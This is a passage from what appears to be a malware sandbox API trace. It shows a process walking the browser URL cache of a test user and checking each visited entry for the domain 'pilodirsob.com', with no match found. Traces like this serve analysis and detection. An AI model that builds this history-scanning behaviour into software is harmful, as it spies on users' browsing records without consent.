FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/3CvbZ27sNVNlEIcDr.png", lpSrch="pilodirsob.com") returned 0x0 [0701.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/4rGyMG.docx", lpSrch="pilodirsob.com") returned 0x0 [0701.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/OZyz34.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/WBajqFyl.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0701.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/n8M3fjA-kFT1.ots", lpSrch="pilodirsob.com") returned 0x0 [0701.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/KFFJsVbjyjxysr-W.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/krVny.jpg", lpSrch="pilodirsob.com") returned 0x0 [0701.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/wUbOzMUHShGB0.odp", lpSrch="pilodirsob.com") returned 0x0 [0701.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/qCMb0KA7MfMwnqR-.flv", lpSrch="pilodirsob.com") returned 0x0 [0701.586] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.586] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/E6EbhMwBQFcvigF.png", lpSrch="pilodirsob.com") returned 0x0 [0701.586] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.586] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/ptN2ZuQ8amSwzj3Hf.bmp", lpSrch="pilodirsob.com") returned 0x0 [0701.586] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.586] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/xaBuqdV.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.586] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.586] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/oNeEpnzll.mkv", lpSrch="pilodirsob.com") returned 0x0 [0701.586] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.586] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/1n511.bmp", lpSrch="pilodirsob.com") returned 0x0 [0701.586] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.586] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/rPvFAdqEUop.ppt", lpSrch="pilodirsob.com") returned 0x0 [0701.586] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.586] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/ANIK59S7NBZeKp.pptx", lpSrch="pilodirsob.com") returned 0x0 [0701.586] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.586] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/BEwDL2lhD.jpg", lpSrch="pilodirsob.com") returned 0x0 [0701.586] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.587] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/yUidHJTCMwIHB.mkv", lpSrch="pilodirsob.com") returned 0x0 [0701.587] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.587] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XVVo133TnKkCQ.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0701.587] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.587] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/aKbv1Oo1ETirSfd1q%20gy.pdf", lpSrch="pilodirsob.com") returned 0x0 [0701.587] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.587] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/ZdbtJVvb-6FXnFWxnrvN.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0701.587] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.587] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/hKwg8OaHHgS.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0701.587] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.587] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/T5dulIYQq84F0WjyJUxJ.ppt", lpSrch="pilodirsob.com") returned 0x0 [0701.587] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.587] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/MfwyTnE4iFa5h9ugGQrN.pdf", lpSrch="pilodirsob.com") returned 0x0 [0701.587] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.587] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/SjLKY_5Dm-8SOC.xls", lpSrch="pilodirsob.com") returned 0x0 [0701.587] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.587] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/mn2%20LcY4GUIecD_.bmp", lpSrch="pilodirsob.com") returned 0x0 [0701.587] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.587] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/l1bgOIHxE2P.jpg", lpSrch="pilodirsob.com") returned 0x0 [0701.587] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.587] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/PTsUdLj.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0701.588] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.588] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/KBQZNG4i7j8.ots", lpSrch="pilodirsob.com") returned 0x0 [0701.588] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.588] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/_IJOcqcmeHFr9tYfyh.pptx", lpSrch="pilodirsob.com") returned 0x0 [0701.588] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.588] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/NIMuK7.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0701.588] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.588] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/99en0joo4697S6Ply8c.jpg", lpSrch="pilodirsob.com") returned 0x0 [0701.588] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.588] StrStrIA (lpFirst="Visited: aETAdzjz@http://google.com", lpSrch="pilodirsob.com") returned 0x0 [0701.588] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.588] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/p0wZEr1Gdg6.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0701.588] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.588] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/gt06Y_qsET.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.588] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.588] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/u4W7ouy80phhP-B9lpM.flv", lpSrch="pilodirsob.com") returned 0x0 [0701.588] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.588] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/MpncdNiVe8l4XxDfPC.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.588] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.588] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/Imdq5H_.pdf", lpSrch="pilodirsob.com") returned 0x0 [0701.588] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.589] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/AqfhNAWOaNpeMnbA.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0701.589] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.589] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/Req5F_foHfyN.bmp", lpSrch="pilodirsob.com") returned 0x0 [0701.589] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.589] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Z3zsui1f6tKO9.odt", lpSrch="pilodirsob.com") returned 0x0 [0701.589] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.589] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/_q_M.mkv", lpSrch="pilodirsob.com") returned 0x0 [0701.589] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.589] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/xKrI%20YIsYZAMK3.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.589] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.589] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/1Nbjb.csv", lpSrch="pilodirsob.com") returned 0x0 [0701.589] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.589] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/F9tvnzY%20y%20Ws6M.flv", lpSrch="pilodirsob.com") returned 0x0 [0701.589] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.589] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/cL5j2IsQXoG_m811.rtf", lpSrch="pilodirsob.com") returned 0x0 [0701.589] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.589] StrStrIA (lpFirst="Visited: aETAdzjz@https://www.google.com/?gws_rd=ssl", lpSrch="pilodirsob.com") returned 0x0 [0701.589] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.589] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/MVjmbl2VG-kil9l.bmp", lpSrch="pilodirsob.com") returned 0x0 [0701.589] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.590] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/CxnHb6T3sE6UOsni3FQS.bmp", lpSrch="pilodirsob.com") returned 0x0 [0701.590] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.590] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/2B4wzDIgK8y.docx", lpSrch="pilodirsob.com") returned 0x0 [0701.590] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.590] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/S4EkYkW8VR.bmp", lpSrch="pilodirsob.com") returned 0x0 [0701.590] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.590] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/odSuOiq0XNRIhfz.pptx", lpSrch="pilodirsob.com") returned 0x0 [0701.590] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.590] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/cnuuaN6.flv", lpSrch="pilodirsob.com") returned 0x0 [0701.590] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.590] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/HYnI7oS3.ots", lpSrch="pilodirsob.com") returned 0x0 [0701.590] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.590] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/dd3O.mkv", lpSrch="pilodirsob.com") returned 0x0 [0701.590] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.590] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/lC5vY2DseDnk83eN.flv", lpSrch="pilodirsob.com") returned 0x0 [0701.590] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.590] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/OQH3M.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0701.590] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.590] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/biY7nHZrMc.doc", lpSrch="pilodirsob.com") returned 0x0 [0701.590] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.591] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/ELxtM.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.591] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.591] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/pbyLR8KlH7TIC/_uEHGA5N-.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.591] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.591] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/pM2SVtUE.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.591] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.591] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/Goqt.pptx", lpSrch="pilodirsob.com") returned 0x0 [0701.591] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.591] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/nedQWQ4Rzcq.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.591] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.591] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/MihBgkQ6yu89sgOk.jpg", lpSrch="pilodirsob.com") returned 0x0 [0701.591] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.591] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/agwS9jwJhHy%20p1.odt", lpSrch="pilodirsob.com") returned 0x0 [0701.591] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.591] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/37faU3%20U8a8X.ots", lpSrch="pilodirsob.com") returned 0x0 [0701.591] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.591] 